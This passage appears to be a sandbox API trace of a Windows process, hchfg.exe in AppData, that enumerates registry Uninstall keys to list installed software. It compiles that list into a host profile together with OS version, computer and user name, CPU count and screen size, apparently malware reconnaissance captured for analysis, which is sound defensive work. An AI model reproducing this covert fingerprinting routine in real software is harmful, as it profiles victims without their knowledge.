Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\n", lpUsedDefaultChar=0x0) returned 395 [0166.368] RegEnumKeyA (in: hKey=0x674, dwIndex=0x19, lpName=0x1e7df85b, cchName=0x3e9 | out: lpName="{3c3aafc8-d898-43ec-998f-965ffdae065a}") returned 0x0 [0166.368] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd32350, cbMultiByte=395, lpWideCharStr=0x1e7de7a4, cchWideChar=2047 | out: lpWideCharStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nṽ﫩ṽ202011﫹ṽ10ṽ\x04") returned 395 [0166.368] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f026bcc, cbMultiByte=11, lpWideCharStr=0x1e7de798, cchWideChar=2047 | out: lpWideCharStr="DisplayNamedobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nṽ﫩ṽ202011﫹ṽ10ṽ\x04") returned 11 [0166.368] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd32560, cbMultiByte=90, lpWideCharStr=0x1e7de794, cchWideChar=2047 | out: lpWideCharStr="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{3c3aafc8-d898-43ec-998f-965ffdae065a}.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nṽ﫩ṽ202011﫹ṽ10ṽ\x04") returned 90 [0166.368] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{3c3aafc8-d898-43ec-998f-965ffdae065a}", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7df790 | out: phkResult=0x1e7df790*=0x740) returned 0x0 [0166.368] RegQueryValueExW (in: hKey=0x740, lpValueName="DisplayName", lpReserved=0x0, lpType=0x1e7df798, lpData=0x1e7df590, lpcbData=0x1e7df794*=0xfe | out: lpType=0x1e7df798*=0x1, lpData="Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501", lpcbData=0x1e7df794*=0x7a) returned 0x0 [0166.368] RegCloseKey (hKey=0x80000002) returned 0x0 [0166.369] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd04a60, cbMultiByte=14, lpWideCharStr=0x1e7de790, cchWideChar=2047 | out: lpWideCharStr="DisplayVersionrosoft\\Windows\\CurrentVersion\\Uninstall\\{3c3aafc8-d898-43ec-998f-965ffdae065a}.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nṽ﫩ṽ202011﫹ṽ10ṽ\x04") returned 14 [0166.369] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd04af4, cbMultiByte=90, lpWideCharStr=0x1e7de78c, cchWideChar=2047 | out: lpWideCharStr="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{3c3aafc8-d898-43ec-998f-965ffdae065a}65a}.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nṽ﫩ṽ202011﫹ṽ10ṽ\x04") returned 90 [0166.369] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{3c3aafc8-d898-43ec-998f-965ffdae065a}", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7df788 | out: phkResult=0x1e7df788*=0x744) returned 0x0 [0166.369] RegQueryValueExW (in: hKey=0x744, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x1e7df790, lpData=0x1e7df588, lpcbData=0x1e7df78c*=0xfe | out: lpType=0x1e7df790*=0x1, lpData="12.0.30501.0", lpcbData=0x1e7df78c*=0x1a) returned 0x0 [0166.369] RegCloseKey (hKey=0x80000002) returned 0x0 [0166.369] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\n", cchWideChar=471, lpMultiByteStr=0x1e7de7a4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\n", lpUsedDefaultChar=0x0) returned 471 [0166.369] RegEnumKeyA (in: hKey=0x674, dwIndex=0x1a, lpName=0x1e7df85b, cchName=0x3e9 | out: lpName="{4A03706F-666A-4037-7777-5F2748764D10}") returned 0x0 [0166.369] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd04b5c, cbMultiByte=471, lpWideCharStr=0x1e7de7a4, cchWideChar=2047 | out: lpWideCharStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\n") returned 471 [0166.369] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f0244fc, cbMultiByte=11, lpWideCharStr=0x1e7de798, cchWideChar=2047 | out: lpWideCharStr="DisplayNamedobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\n") returned 11 [0166.370] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd325d8, cbMultiByte=90, lpWideCharStr=0x1e7de794, cchWideChar=2047 | out: lpWideCharStr="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{4A03706F-666A-4037-7777-5F2748764D10}.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\n") returned 90 [0166.370] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{4A03706F-666A-4037-7777-5F2748764D10}", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7df790 | out: phkResult=0x1e7df790*=0x748) returned 0x0 [0166.370] RegQueryValueExW (in: hKey=0x748, lpValueName="DisplayName", lpReserved=0x0, lpType=0x1e7df798, lpData=0x1e7df590, lpcbData=0x1e7df794*=0xfe | out: lpType=0x1e7df798*=0x1, lpData="Java Auto Updater", lpcbData=0x1e7df794*=0x24) returned 0x0 [0166.370] RegCloseKey (hKey=0x80000002) returned 0x0 [0166.370] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd32640, cbMultiByte=14, lpWideCharStr=0x1e7de790, cchWideChar=2047 | out: lpWideCharStr="DisplayVersionrosoft\\Windows\\CurrentVersion\\Uninstall\\{4A03706F-666A-4037-7777-5F2748764D10}.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\n") returned 14 [0166.370] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd326d4, cbMultiByte=90, lpWideCharStr=0x1e7de78c, cchWideChar=2047 | out: lpWideCharStr="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{4A03706F-666A-4037-7777-5F2748764D10}D10}.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\n") returned 90 [0166.370] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{4A03706F-666A-4037-7777-5F2748764D10}", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7df788 | out: phkResult=0x1e7df788*=0x74c) returned 0x0 [0166.371] RegQueryValueExW (in: hKey=0x74c, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x1e7df790, lpData=0x1e7df588, lpcbData=0x1e7df78c*=0xfe | out: lpType=0x1e7df790*=0x1, lpData="2.1.71.14", lpcbData=0x1e7df78c*=0x14) returned 0x0 [0166.371] RegCloseKey (hKey=0x80000002) returned 0x0 [0166.371] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\nJava Auto Updater(2.1.71.14)\r\n", cchWideChar=501, lpMultiByteStr=0x1e7de7a4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\nJava Auto Updater(2.1.71.14)\r\n", lpUsedDefaultChar=0x0) returned 501 [0166.371] RegEnumKeyA (in: hKey=0x674, dwIndex=0x1b, lpName=0x1e7df85b, cchName=0x3e9 | out: lpName="{582EA838-9199-3518-A05C-DB09462F68EC}") returned 0x0 [0166.371] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd3273c, cbMultiByte=501, lpWideCharStr=0x1e7de7a4, cchWideChar=2047 | out: lpWideCharStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\nJava Auto Updater(2.1.71.14)\r\n῏ṽﱨṽ") returned 501 [0166.371] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f026bcc, cbMultiByte=11, lpWideCharStr=0x1e7de798, cchWideChar=2047 | out: lpWideCharStr="DisplayNamedobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\nJava Auto Updater(2.1.71.14)\r\n῏ṽﱨṽ") returned 11 [0166.371] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd04ad8, cbMultiByte=90, lpWideCharStr=0x1e7de794, cchWideChar=2047 | out: lpWideCharStr="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{582EA838-9199-3518-A05C-DB09462F68EC}.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\nJava Auto Updater(2.1.71.14)\r\n῏ṽﱨṽ") returned 90 [0166.371] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{582EA838-9199-3518-A05C-DB09462F68EC}", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7df790 | out: phkResult=0x1e7df790*=0x750) returned 0x0 [0166.372] RegQueryValueExW (in: hKey=0x750, lpValueName="DisplayName", lpReserved=0x0, lpType=0x1e7df798, lpData=0x1e7df590, lpcbData=0x1e7df794*=0xfe | out: lpType=0x1e7df798*=0x1, lpData="Microsoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017", lpcbData=0x1e7df794*=0x78) returned 0x0 [0166.372] RegCloseKey (hKey=0x80000002) returned 0x0 [0166.372] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd04b40, cbMultiByte=14, lpWideCharStr=0x1e7de790, cchWideChar=2047 | out: lpWideCharStr="DisplayVersionrosoft\\Windows\\CurrentVersion\\Uninstall\\{582EA838-9199-3518-A05C-DB09462F68EC}.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\nJava Auto Updater(2.1.71.14)\r\n῏ṽﱨṽ") returned 14 [0166.372] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd04bd4, cbMultiByte=90, lpWideCharStr=0x1e7de78c, cchWideChar=2047 | out: lpWideCharStr="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{582EA838-9199-3518-A05C-DB09462F68EC}8EC}.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\nJava Auto Updater(2.1.71.14)\r\n῏ṽﱨṽ") returned 90 [0166.372] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{582EA838-9199-3518-A05C-DB09462F68EC}", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7df788 | out: phkResult=0x1e7df788*=0x754) returned 0x0 [0166.372] RegQueryValueExW (in: hKey=0x754, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x1e7df790, lpData=0x1e7df588, lpcbData=0x1e7df78c*=0xfe | out: lpType=0x1e7df790*=0x1, lpData="14.10.25017", lpcbData=0x1e7df78c*=0x18) returned 0x0 [0166.372] RegCloseKey (hKey=0x80000002) returned 0x0 [0166.373] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\nJava Auto Updater(2.1.71.14)\r\nMicrosoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017(14.10.25017)\r\n", cchWideChar=575, lpMultiByteStr=0x1e7de7a4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\nJava Auto Updater(2.1.71.14)\r\nMicrosoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017(14.10.25017)\r\n", lpUsedDefaultChar=0x0) returned 575 [0166.373] RegEnumKeyA (in: hKey=0x674, dwIndex=0x1c, lpName=0x1e7df85b, cchName=0x3e9 | out: lpName="{68306422-7C57-373F-8860-D26CE4BA2A15}") returned 0x0 [0166.373] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd04c3c, cbMultiByte=575, lpWideCharStr=0x1e7de7a4, cchWideChar=2047 | out: lpWideCharStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\nJava Auto Updater(2.1.71.14)\r\nMicrosoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017(14.10.25017)\r\n40GHz\r\nCPU Count: ›†㥁㥄ㅄ㤰㌭㌴㉁䍅ⴶ㤸㉂䙁㡂㜭㍆ㅂ䘸ⴰ㡅䌰〰㠳਍塅彅䅐䡔†›†㩃啜敳獲慜呅摁橺屺灁䑰瑡屡潒浡湩屧杦癨杨癨晧杤桦档杦攮數਍਍楗摮睯⁳†㨠†㘠ㄮ砠㐶圠湩潤獷㜠倠潲敦獳潩慮൬䌊浯異整⡲獕牥慮敭
›†䭙䑙㤶⡑䕡䅔穤穪ഩ匊牣敥㩮ㄠ㐴砰〹ര\nhchfg.exe\r\n\r\nWindows : 6.1 x64 Windows 7 Professional\r\nComputer(Username) : YKYD69Q(aE甋") returned 575 [0166.373] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f0244fc, cbMultiByte=11, lpWideCharStr=0x1e7de798, cchWideChar=2047 | out: lpWideCharStr="DisplayNamedobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\nJava Auto Updater(2.1.71.14)\r\nMicrosoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017(14.10.25017)\r\n40GHz\r\nCPU Count: ›†㥁㥄ㅄ㤰㌭㌴㉁䍅ⴶ㤸㉂䙁㡂㜭㍆ㅂ䘸ⴰ㡅䌰〰㠳਍塅彅䅐䡔†›†㩃啜敳獲慜呅摁橺屺灁䑰瑡屡潒浡湩屧杦癨杨癨晧杤桦档杦攮數਍਍楗摮睯⁳†㨠†㘠ㄮ砠㐶圠湩潤獷㜠倠潲敦獳潩慮൬䌊浯異整⡲獕牥慮敭
›†䭙䑙㤶⡑䕡䅔穤穪ഩ匊牣敥㩮ㄠ㐴砰〹ര\nhchfg.exe\r\n\r\nWindows : 6.1 x64 Windows 7 Professional\r\nComputer(Username) : YKYD69Q(aE甋") returned 11 [0166.373] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd32174, cbMultiByte=90, lpWideCharStr=0x1e7de794, cchWideChar=2047 | out: lpWideCharStr="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{68306422-7C57-373F-8860-D26CE4BA2A15}.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\nJava Auto Updater(2.1.71.14)\r\nMicrosoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017(14.10.25017)\r\n40GHz\r\nCPU Count: 